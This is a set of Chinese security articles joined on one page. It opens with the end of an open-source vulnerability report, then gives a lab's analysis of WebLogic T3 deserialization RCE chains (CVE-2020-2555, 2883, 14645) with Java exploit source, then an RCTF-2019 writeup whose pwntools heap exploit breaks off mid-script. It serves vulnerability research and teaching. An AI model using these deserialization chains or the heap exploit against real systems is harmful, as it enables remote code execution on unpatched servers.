容器也面临着类似问题。容器将所有的库、包、设置等整合到一个预配置好的环境中，为人们提供了极大的便利性。
但跟其它事情一样，如果它们没有持续更新的话，也会出现已知漏洞。在最受欢迎的1000个Docker容器中，76.5%的容器中存在已知漏洞，而62.3%的容器中至少存在一个高危漏洞。
系统库中的高危漏洞
Red Hat Linux漏洞再次显示出不同的趋势。影响Red Hat的严重漏洞数量在2012年达到峰值，不过其它年份都基本保持一致。
Red Hat
Linux似乎找到了某个稳定水平。虽然应用程序库的情况并非如此（漏洞数量和严重程度都在增加），但它让我们乐观地认为，只要多做一点工作，那么就可以变得更加安全。
## 开源安全的生命周期
开源安全漏洞的生命周期（从发现到修复）中涉及到很多步骤。生命周期中的每个部分都起着重要作用，从而最终对开源的安全状态产生影响。
发现漏洞（漏洞是如何被发现的，以及它们隐藏了多长时间）——发布修复方案（从披露到漏洞解决所耗费的时间）——通知用户（用户是如何了解到漏洞修复方案的）——采纳发布的修复方案（用户在修复方案发布后采纳的速度有多快）
### 发现漏洞
第一阶段需要查看的是漏洞被引入之后，多久会被发现。
从漏洞被引入（包含在正式发布中）应用库到被公开披露之间的时间间隔中位数是2.53年（924天）。无数研究已证实，对于Linux漏洞而言，这个时间间隔约为5年。而这就更加突出了例行开展安全审计的重要性：很可能还存在很多其它尚未被披露的漏洞。一般来说，代码审计是软件维护者确保项目安全的重要步骤。
维护者是如何找到漏洞的？
如何披露并解决这些漏洞是项目整体安全性的重要特征。在理想情况下，应该私下将漏洞报告给维护者，让他们在外界知晓漏洞之前将其修复。
而在现实中，漏洞披露的过程并不总是一帆风顺。部分原因是面向公众的披露策略比较少见。79.5%的维护者表示他们并未准备面向公众的披露策略。由于缺乏清晰的披露沟通，导致研究人员难以通过私密且负责任的方式报告漏洞情况。
正因如此，维护者表示他们获悉漏洞的方式多种多样。大多数漏洞是由项目之外的其他人发现的，只有25%的维护者表示他们是自己发现漏洞的。开源维护者收到私下披露的可能性
(31.4%) 和仓库中被公开指出存在问题的可能性 (30.3%) 一样大。
备有面向公众的披露策略的维护者更可能收到私下披露的漏洞。大约21%
的未准备公开披露策略的维护者接收到私下披露的漏洞，而对于准备了公开披露策略的维护者而言，这个比例是73%。
这里可能也存在一些确认偏见。在备有披露策略的维护者中，有13.5%的人员表示从未遇到过安全问题；而在没有准备披露策略的维护者中，这个比例是32%。虽然产生这种结果的原因可能是因为备有披露政策的维护者是在第一次收到安全问题报告之后才准备的策略，但鉴于未准备披露策略提供指导的情况下披露漏洞所面临的复杂问题，很可能是因为虽然发现了很多漏洞但却未被披露的缘故。
漏洞：从存在到披露 （最长时间是5.9年，最短是0天，中位数2.5年）
漏洞：从披露到修复（最长时间94天，最短0天，中位数16天）
### 发布修复方案
下一阶段要查看的是“风险天数”，即从披露到修复所经历的时间。从漏洞被公开披露的那一刻开始，风险就急剧增大并且持续增大直到漏洞被修复而用户可采取措施为止。为此，这里的情况更加多变。
紧急处理漏洞
开源维护者非常迫切希望尽快对安全漏洞做出响应。34%的维护者表示他们能够在获悉漏洞的一天之内做出响应，而60%的维护者表示他们能在一周之内响应。
我们可从对今年出现的影响力最大的一些npm漏洞的响应中看出以上所述内容。从漏洞被披露到正式发布版本中包含修复所需要的时间中位数是16天。
维护者对漏洞的响应速度
具有已知修复方案的漏洞百分比
在多数情况下，修复方案并不会向后移植到其它版本流中。在Snyk公司的数据库中，只有16.1%的漏洞的修复方案能向后移植到其它版本流中。这种情况在所有生态系统中都差不多，除npm外：只有4.1%的npm修复方案能应用于其它版本流中。
由于缺乏向后移植，因此很多人难以升级到新修复方案，因为迁移到一个新的库版本要求投入时间和精力根据库的变化做出必要的更新。
能够向后移植到其它版本流的修复方案百分比
聚焦Nokogiri和LibXML
有时候，依赖关系链也会让开源项目的处境变得艰难。非常流行的Nokogiri库就遭遇到这种情况。Nokogiri使用libxml2库让用户轻易从XML、SAX、Reader或HTML文档中解析并提取数据。
遗憾的是，libxml2中存在一个漏洞，可导致攻击者轻易执行XXE攻击。
虽然这个漏洞于2016年11月发布，但libxml2尚未集成修复方案。这导致Nokogiri处于艰难位置：它所依赖的库中存在的漏洞导致它易受攻击。Nokogiri已试图通过确保默认配置尽可能安全的方式来避免用户沦为受害者，但在libxml2解决这个问题之前，Nokogiri仍处于易受攻击的状态。
### 通知用户
漏洞解决之后，必须快速通知用户，让他们知道通过哪些措施来确保应用程序的安全。
维护者将安全问题告知用户的方式
（受访者可选择多种响应方式）
多数维护者 (88%) 表示通过发布说明（Release
notes）的方式通知用户，而约34%的维护者会通过不支持最新的易受攻击版本来鼓励用户应用修复方案。
最值得注意的是，竟然有25%的维护者表示如果发现安全问题不会通知用户。如果不跟用户沟通漏洞的情况，那么用户很可能不会快速应用最新的修复方案。而易受攻击的版本可能会长时间处于生产环境中，而用户本可以很早就可以因此受到保护。
不常采取的一个步骤是将漏洞情况告知漏洞库或漏洞监控服务。在理想情况下，每个漏洞都会被归类于已知漏洞数据库中供软件使用者研读。只有3%的维护者表示它们会将漏洞情况告知服务公司如Snyk公司等。
而8.9%的维护者表示它们会为漏洞申请CVE编号，一小部分的维护者表明申请CVE时会遇到一些麻烦。
聚焦Next
Next是服务器渲染的一个React应用程序框架，今年发现Next中存在一个目录遍历漏洞。这个漏洞自从2016年10月Next首次发布之日起就存在。该漏洞发现于2017年5月31日。6月1日，Next发布了包含修复方案的新版本库。
Next不仅快速实施修复，而且响应十分迅速。虽然在很多情况下，一个安全修复方案仅占据库发布说明（Release
notes）的一行之地，但Next的做法与之相反。在修复版本的发布说明中，Next提供了诸多信息：漏洞的细节、如何解决、受影响群体以及如何跟进最新安全问题。
CVE、CPE和NVD
美国政府创建并为CVE列表提供支持。CVE列表是关于漏洞的免费字典。CVE旨在为所有已知漏洞提供单一目的地——不仅是为开源软件，也供软件使用者研读。
CVE本身是一个列表而不是数据库，包含关于所引用的漏洞的最少信息。NVD提供了更多的信息。NVD是从CVE列表中扒下（尽管并不一定是马上）并提供更多的漏洞信息：包括修复详情、提供CPE（通用产品枚举,
Common Product Enumeration）帮助找到包含该漏洞的产品或应用程序、提供CVSS评分以提供漏洞的安全严重程度和特征信息。
总体而言，NVD带来了积极成果。自从1999年推出以来，NVD已经包含超过8.1万个漏洞且仍在持续增长。单在2017年，数据库中就添加了8500多个漏洞信息，要比历史上其它任何年份都要多。
这种联合维护漏洞数据库的方法虽然有效，但遗漏了很多漏洞。
相比我们的开源漏洞数据库，CVE/NVD对漏洞的覆盖根据语言和生态系统的不同而不同。例如，NVD仅覆盖了67%的Rubygem漏洞以及只有11%的npm漏洞。
CVE/NVD面临的另外一个挑战是速度问题。虽然漏洞可能会相对较早地获得一个CVE编号，但这个漏洞要进入NVD并获得CVSS评分和CPE的话，通常会等待很长时间。
53%的应用库漏洞在被添加到NVD之前已经被公开（无论是在漏洞数据库中、库发布说明中或其他的机制中）4周或更长的时间。在这个案例中，长尾非常长。28.9%的漏洞的公开时间会超过半年，而9.4%的漏洞在进入NVD之前已经公开一年多的时间。
CVE滞后的部分原因是，多数开源维护者在发现新漏洞时并不会参与申请CVE编号。如之前所讨论的那样，在调查中，只有8.9%的维护者表示会在发现漏洞后申请CVE编号。遗憾的是，只要试图通过联合方式管理漏洞，那么这个问题将持续存在。
在被加入NVD/CVE之前，漏洞被公开的时长
### 采纳发布的修复方案
最后需要查看的时间线就是在修复方案发布后，用户会以多快的速度采纳修复？这个决定并不容易做，因为用户必须同时知道修复方案的存在，而且还需要确保新版本不会导致应用中断。换句话说，应用修复方案需要时间。
从调查结果来看，开发人员保证依赖关系是最新版本的方法有很多，包括不定期清扫颠簸版本(bump
versions)（46.9%）、让工具提醒漏洞的存在（41.6%）、让工具提醒新的依赖关系版本（37.2%）以及口口相传（8.6%）。
令人惊讶的是，16.3%的用户表示并不会更新自己的依赖关系。乍一看，让工具帮助自己管理依赖关系的比例看似还正常，但其实存在很多重叠之处。很多用户使用一款工具来提醒新版本出现的同时会使用另外一款工具提醒他们安全问题的出现。
事实上，38.7%的用户并不会使用工具来确保依赖关系是最新版本。这就不可避免地导致出现这样一种情况：依赖关系的更新频率并未达到要求，或者很多压力被放到开发过程。
由于缺少工具，重视安全的组织机构必须手动检验并验证依赖关系的新版本以确保它得到更新并且不含已知的漏洞。由于开源社区的快速变化，这种手动方式变成一个麻烦的瓶颈问题而且无法得到维护。
存在漏洞的开源库版本的下载量
应用补丁的节奏往往会有一个很长的长尾。看看流行的Python “requests” 库就知道了。”request”
库是最流行的Python包之一，在去年它每个月的下载量差不多有1200万次。2016年，Python “requests” 曝出一个HTTP请求重定向
(Request Redirection) 漏洞。由于它非常流行，我们可以通过仔细查看它正在被使用的版本情况来了解用户打补丁的速度。
从2016年5月到2016年7月（即漏洞被解决的3个月前）， “request”
包的易受攻击版本占所有下载量的99%。2017年4月，也就是版本2.11.0发布的那个月，易受攻击版本所占的比例下降到56.6%。然而，在漏洞最初爆发后，长尾出来了。在2017年9月，在所下载的所有
“requests” 包中，仍有22.4%的下载是易受攻击的版本，尽管修复方案已经发布一年多的时间。
易受攻击版本的Python “request” 下载量占所有下载量的百分比%
## 开源的未来
开源正在蓬勃发展，而且并无减缓趋势。虽然开源的好处人尽皆知，但是开源风险的知识却不尽然。不过这种趋势正在发生变化。
很明显开源安全有改进的空间，而且改进的机会很多。显然，维护者们迫切希望让自己的项目变得更加安全，而用户想的是在使用开源时将安全列为优先考虑因素。而这只不过是像把衣服上的褶皱熨平一点那样容易。
如果你是维护者，从简单的三个步骤开始吧：
1. 确保你的项目拥有公开披露的策略，这样如果有人找到漏洞，就能快速报告给你。
2. 例行审计并检查代码基的安全，这样更易于在漏洞公开前发现它们。
3. 清楚地向项目用户说明，你在乎项目安全。在解决好安全问题后，详细并清楚地告知用户，这样用户就能准确地知道如何继续进行下去。
如果你在自己的应用中使用了开源组件，你也可以做一些事情：
1. 利用工具自动检测第三方组件中含有的已知漏洞，以便能够尽快修复它们。
2. 做点回馈。多数时间，除了日常工作外，维护者们在努力地维护开源项目。撸起袖子并帮助他们解决问题是确保自己最爱的项目保持健康和安全的最佳方式之一。
3. 尽可能负责任地报告漏洞。如果你发现出现问题了，通过私下渠道告知维护者。如果没有公开披露策略，思考下自己是否能通过邮件或其它沟通方式告知他们。
保护开源的安全并不会在一夜之间发生。如本报告所述，开源安全决定于很多因素。但如果我们齐心协力，每个人都做出力所能及的事情来改进安全态势，那么我们就能够改进开源安全的状态，而且在这个改进过程中，我们要确保开源仍然是欣欣向荣充满生机的生态系统。 | 社区文章 |
**作者：laker@知道创宇404实验室**
**时间：2020年8月28日**
### 前言
_WebLogic_ 是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。
主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
近几年频繁爆发出多个RCE漏洞，而在今年，其T3协议被频繁攻击和发布补丁与绕过，本文主要对今年来由T3协议入口所产生的多个RCE漏洞进行分析，其中主要包括CVE-2020-2555、
CVE-2020-2883(bypass CVE-2020-2555补丁)、 CVE-2020-14645 (bypass
CVE-2020-2883补丁)。
### 环境搭建
两种搭建环境，第一种是利用docker搭建环境，利用IDEA动态调试，可参考[1]，本文调试建议使用Weblogic
Server版本12.2.1.4.0，对于该版本的docker文件在<https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews>。
第二种是在官方下载安装包[[2]](https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
"\[2\]")，并安装安装指引进行安装[[3]](https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2 "\[3\]")。
我们采用第二种进行。在Oracle官网下载后进行安装。
> java.exe -jar
> C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar
安装完后导入IDEA再进行配置即可。
### 漏洞版本
CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555补丁)
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
CVE-2020-14645 (bypass CVE-2020-2883补丁)
12.2.1.4.0
### 漏洞成因
简单理解该漏洞成因便是 **Weblogic 默认开启 T3 协议，攻击者可利用T3协议进行反序列化漏洞实现远程代码执行** 。
基于代码的漏洞介绍：
**CVE-2020-2555主要源于在coherence.jar存在着用于gadget构造的类（反序列化构造类），并且利用weblogic默认存在的T3协议进行传输和解析进而导致weblogic服务器反序列化恶意代码最后执行攻击语句。**
### T3协议
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序（包括客户端及其他
WebLogic Server 实例）间传输数据。同时
T3协议包括
1. 请求包头 2. 请求主体
因此，在T3数据包构造过程中，需要发送两部分的数据
* 请求包头，形如
`t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1`
以`\n`结束
同时，我们发送t3的请求包， **可用于刺探服务器weblogic版本，该服务器会将自身版本进行响应** ，形如
`HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000`
* 序列化数据部分，序列化部分的构成方式有两种：
* 第一种生成方式为，将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
* 第二种生成方式为，将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
具体T3的数据结构可参考<http://drops.xmd5.com/static/drops/web-13470.html>，这里我们不关注T3具体数据结构，而是将重心放在T3的反序列化漏洞上。
综上，为实现T3协议的`JAVA`序列化包，需要在T3数据结构头部发送后在其中插入序列化恶意数据，该恶意数据与JAVA的原生ObjectOutputStream数据类型是一样的，然后发送T3数据结构尾部。
### CVE-2020-2555
由于 **CVE-2020-2883** 是对2555补丁的绕过，我们先看看原来的CVE-2020-2555利用链。
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出现时 对此进行了修补
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
我们使用12.2.1.4.0对此进行调试。
根据已知的一些漏洞信息
漏洞的产生点是 coherence.jar 包中的 LimitFilter 函数，我们将相关漏洞包coherence.jar和tangsol.jar
添加到库函数并反编译add as library
在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些断点，调试并发送POC。
根据堆栈信息，Weblogic收到POC的数据后，对其进行分发后对T3的数据段部分进行了反序列化还原操作，进而产生了该漏洞的入口。
利用 `BadAttributeValueExpException`类实例可以用来调用任意类的`toString()`方法
，这里可能有小伙伴会好奇，为什么这个类的实例能调用在任意类的`toString()`方法？原因如下：
利用 java.io.ObjectInputStream反序列化一个类时会默认调用该类的readObject方法。
javax.management.BadAttributeValueExpException#readObject方法会对传入的ObjectInputStream实例提取其val属性的值(这也是为什么我们要将恶意对象注入到val属性)。
然后将该值进行判断（valObj受到我们的控制，就是我们注入val属性的对象），我们需要进入的是val =
valObj.toString();进而调用控制的valObj对象的toString方法：
这里的System.getSecurityManager需要为null才会进入toString逻辑。
因此我们可以操控valObj成为任意对象并对让其使用toString方法，这里我们选择的恶意宿主是LimitFilter类，原因如下：
了解到LimitFilter类会被我们操作执行toString方法，其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中，
获取到该类的m_comparator成员属性后，转换为(ValueExtractor)对象并调用自身extract方法 ：
这里可能会有疑问，如何去控制m_comparator成员属性呢？因为这个类其实就是我们自己写的恶意类，当然可以控制其成员属性了。
到这里，我们就可以控制我们构造的恶意类里面m_comparator成员的extract方法了，而m_comparator成员可控。因此我们可以控制任意类的extract方法了。而后我们选取的利用类是com.tangosol.util.extractor.ChainedExtractor#extract，因为它的extract方法是这样的，该方法会将this.getExtractors返回的数组依次调extract并返回给oTarget：
this.getExtractors方法继承自AbstractCompositeExtractor，返回成员属性this.m_aExtractor
而这个this.m_aExtractor则来自原始方法AbstractCompositeExtractor()，即是初始化该示例的时候传入的：
那么可以理解为，com.tangosol.util.extractor.ChainedExtractor类会依次对
初始化实例时调用传入的ValueExtractor[]类型的列表 调用extract方法。
至此我们便有了调用多个对象extract的能力。
又是一个疑问，这里都是调用extract方法，怎么才能从extract到Runtime.getRuntime.exec()的调用呢？答案是反射。如果我们可以找到一个类，该类的extract方法可控并且传入参数会被顺序进行反射，那么就可以通过控制extract和传入参数进行RCE了。这个类是com.tangosol.util.extractor.ReflectionExtractor#extract
反射的形式这里不细讲了，有兴趣的可以参考[4]
这里需要形成`需要被调用的方法.invoke(被调用类class, 执行的代码)`。
诸如
***.invoke(***,new String[]{"cmd","/c","calc"}
//用String.class.getClass().forName("java.lang.Runtime"))还原调用类class
***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}
//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")构造method
//这里相当于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}
//再调一层反射获取exec
//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
.invoke(被调用类class, 执行的代码);
//完整反射
String.class.getClass().
forName("java.lang.Runtime")
.getMethod("exec",String.class)
.invoke(
String.class.getClass().forName("java.lang.Runtime").
getMethod("getRuntime").
invoke(String.class.getClass().forName("java.lang.Runtime"))
,new String[]{"calc"}
);
然后利用com.tangosol.util.extractor.ReflectionExtractor#extract进行传入构造再invoke。
综上，我们构造如下代码片段。
**POC逻辑**
1.组装ReflectionExtractor成为列表赋值给valueExtractors（ReflectionExtractor有反射的extract函数）。
2.然后通过放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函数)。
3.然后通过放入limitFilter(limitFilter可让ChainedExtractor使用extract)。
4.然后通过放入BadAttributeValueExpException(令limitFilter使用toString)。
于是构成了该利用链。
最后序列化数据源代码大致如下：
package test.laker;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class Exploit {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
//定义多次转换链进行反射调用
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
};
//初始化LimitFiler类实例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//将limitFilter放入BadAttributeValueExpException的val属性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
//生成序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));
objectOutputStream.writeObject(expException);
objectOutputStream.close();
}
}
### CVE-2020-2555补丁
本地补丁检测方式：
cd %Oracle_Home%/Middleware/wlserver/server/lib
java -cp weblogic.jar weblogic.version
可以看到，Oracle官方在一月发布了CVE-2020-2555的补丁[[5]](https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
"\[5\]")。
该补丁需要用户持有正版软件的许可账号，使用该账号登陆官方网站方可下载。
该补丁阻断了LimitFilter传入的对象使用extract方法.
### CVE-2020-2883
后续 VNPT ISC的研究员Quynh Le向ZDI提交了一个漏洞][6]
该补丁阻断了LimitFilter，也就是阻断了从readObject ---> `toString ----> extract`的路径
然而该研究员找到了另一个路径去连接readObject ----> extract
java.util.PriorityQueue.readObject
<https://blog.csdn.net/systemino/article/details/106117659>
<https://github.com/Y4er/CVE-2020-2883>
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
java.util.PriorityQueue#readObject会调用heapify函数，如下图，具体利用时使用双参构造方法，我们看看文档的描述。
使用指定的初始容量创建一个 `PriorityQueue`，并 **根据指定的比较器** 对元素进行排序。
这里我们指定的比较器是 ExtractorComparator ，初始容量为2
> PriorityQueue queue = new PriorityQueue(2, new
> ExtractorComparator(chainedExtractor1));
显而易见，这里我们调用的`ExtractorComparator`这个比较器compare函数存在着extract方法。
o1和o2的值：
让m_extractor对象使用extract方法。这里操控m_extractor的方法就是反射（具体前面有）。
于是乎，和前面一样的，这个m_extractor对象被修改为数组以达到多个对象调用extract方法。然后就进入到com.tangosol.util.extractor.ChainedExtractor。
至此，完成了从readObject ---> compare ----> extract的连接。后续调用就和CVE-2020-2555相同了。
调用链：
POC可以参考<https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java>
### CVE-2020-2883补丁
Oracle官方对于CVE-2020-2883的补丁[7]将 extract 方法存在危险操作的 MvelExtractor 和
ReflectionExtractor 两个类加入到了黑名单中(ReflectionExtractor与MvelExtractor
有反射的extract函数)。
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883
Method.invoke()
//...
Method.invoke()
//...
Runtime.exec()
### CVE-2020-14645
ReflectionExtractor与MvelExtractor
被加入了黑名单，如果我们能找到一个类（类的extract函数中有可控的反射操作)，便可继续该链条（这里我们有的是readObject --->
compare ----> extract ---> 多个类的extract --> ~~extract中可控反射~~ ）。
可采用这个类com.tangosol.util.extractor.UniversalExtractor#extract。
遗憾的是其被transient修饰，被transient关键字修饰的变量不再能被序列化。
但是此处在75行对oTarget传入了extractComplex方法。
又见希望，该方法中也存在可控反射。
值得注意的是，两条method获取方法只能从第一个if去取，原因是else中需要确保`fProperty==false`,
然而184行中m_fMethod存在transient修饰，被transient关键字修饰的变量不再能被序列化因此无法构建序列化字节流。
而在if条件中收到参数影响有`sBeanAttribute-->
sCName--->this.getCanonicalName()`，这里做的工作就是187行对sCName首字母大写并将其与BEAN_ACCESSOR_PREFIXES列表的值进行拼接，取到则停止返回method。
那么`BEAN_ACCESSOR_PREFIXES`列表是什么样的呢？其存储了get和is两个字符串。因此，在拼接的时候，只能形成get___或者is___这样的方法调用。
于是可以利用
com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法进行反射调用构建JNDI注入，这也是为什么之前都是利用原有的ReflectionExtractor直接反射到Runtime类执行而这里却只能发起JNDI请求在低版本的JDk来执行代码。
**POC逻辑**
在POC构造上，先初始化JDBC对象，设置this.m_sName参数为getDatabaseMetaData()
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
然后是关键点的sName会被去掉前缀，因此后面要进行拼接。
依旧让queue使用ExtractorComparator这个比较器。
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
对该queue实例设置成员变量(反射)。此处让该实例queue拥有两个成员变量，一个是queue，值为new Object[]{rowSet,
rowSet}，一个是size，值为2。这里用了写的Reflections工具类，当然也可以一点点用反射进行设置。
Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});
Reflections.setFieldValue(queue, "size", 2);
POC可以参考<https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java>
收到的LDAP请求：
该CVE漏洞利用服务器有JDK条件，且只能在Weblogic Server 12.2.1.4.*存在。
> LDAP： < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
### 参考文章
[1]利用docker远程动态调试weblogic
<https://blog.csdn.net/sojrs_sec/article/details/103237150>
[2]官方下载
<https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html>
[3]官方安装指引
<https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2>
[4] JAVA 反射
<https://www.jianshu.com/p/9be58ee20dee>
[5]patch for CVE-2020-2555
<https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555>
[6]Quynh Le向ZDI提交漏洞
<https://www.zerodayinitiative.com/advisories/ZDI-20-570/>
[7]patch for CVE-2020-2883
<https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883>
<https://www.oracle.com/security-alerts/cpuapr2020.html>
* * * | 社区文章 |
# Kap0k-Note: RCTF-2019 Writeup
> RCTF-2019: Kap0k排名第六
> 我们misc贼强
## pwn
### babyheap
> 类似 2019-starctf 的heap_master, 但这里并不改dl_open_hook, 而是改_free_hook
#### 解题
1. edit的时候off by one
2. 使用`seccomp-tools dump babyheap` 可以看到关闭了execve系统调用, 只能使用open, read, write三个系统调用读出flag
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
#### 利用过程
* leak heap, leak libc
* 写rop, shellcode到heap
* largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
* 栈转移到heap上
* 执行rop
* 执行shellcode
#### exp
# -*- coding:utf-8 -*- from pwn import *
# context.log_level = 'debug'
binary = './babyheap'
llibc = '/lib/x86_64-linux-gnu/libc.so.6' # /lib/i386-linux-gnu/libc.so.6
elf = ELF(binary, checksec = 0)
libc = ELF(llibc, checksec = 0)
ip="139.180.215.222"
port= 20001
# r = process(binary, aslr = 1)
sd = lambda x : r.send(x)
sl = lambda x : r.sendline(x)
rv = lambda x = 2048 : r.recv(x)
ru = lambda x : r.recvuntil(x)
rl = lambda : r.recvline()
ia = lambda : r.interactive()
ra = lambda : r.recvall()
def add(size):
ru("Choice:")
sl("1")
ru("Size")
sl(str(size))
def edit(idx,con):
ru("Choice:")
sl("2")
ru("Index:")
sl(str(idx))
ru("Content:")
sd(con)
def show(idx):
ru("Choice:")
sl("4")
ru("Index:")
sl(str(idx))
def free(idx):
ru("Choice:")
sl("3")
ru("Index:")
sl(str(idx))
def exp():
add(0x78) #0
add(0x38)#1 用1来控制largin的大小
add(0x420)#2
add(0x30)#3 +0x4f0
add(0x60)#4
add(0x20)#5
add(0x88) #6
add(0x48)#7 con
add(0x420)#8
add(0x20)#9
add(0x100)#10 用来写gadget的结构
add(0x400)#11 用来写rop链和shellcode
# gdb.attach(r)
free(0)
edit(2,0x3f0*'a'+p64(0x100)+p64(0x31))
edit(1,'a'*0x30+p64(0x80+0x40)) # off
free(2)
add(0x78)#0
show(1)
libc.address=u64(rl()[1:-1].ljust(8,'\x00'))-3951480
success("libcbase: "+hex(libc.address))
add(0x30)#2==1
free(4)
free(2)
show(1)
heapbase=u64(rl()[1:-1].ljust(8,'\x00'))-528-0x300-0x20
success("heapbase: "+hex(heapbase))
add(0x50)#2 进入large
free(6)
edit(8,0x3f0*'a'+p64(0x100)+p64(0x31))
edit(7,'a'*0x40+p64(0x90+0x50)) # off
free(8)
add(0x430)#4==1
add(0x88) #6
add(0x440)#8==7
#large attack & unsotbin attack
free(4)
free(8)
add(0x440)#4
free(4)
edit(7,p64(0)+p64(libc.sym['__free_hook']-0x20))
edit(1,p64(0)+p64(libc.sym['__free_hook']-0x20+8)+p64(0)+p64(libc.sym['__free_hook']-0x20-0x18-5))
add(0x48) #4- __free_hook
edit(4,'a'*16+p64(libc.address+0x0000000000047b75)) #写__free_hook 为 0x0000000000047b75 : mov rsp, qword ptr [rdi + 0xa0] ...
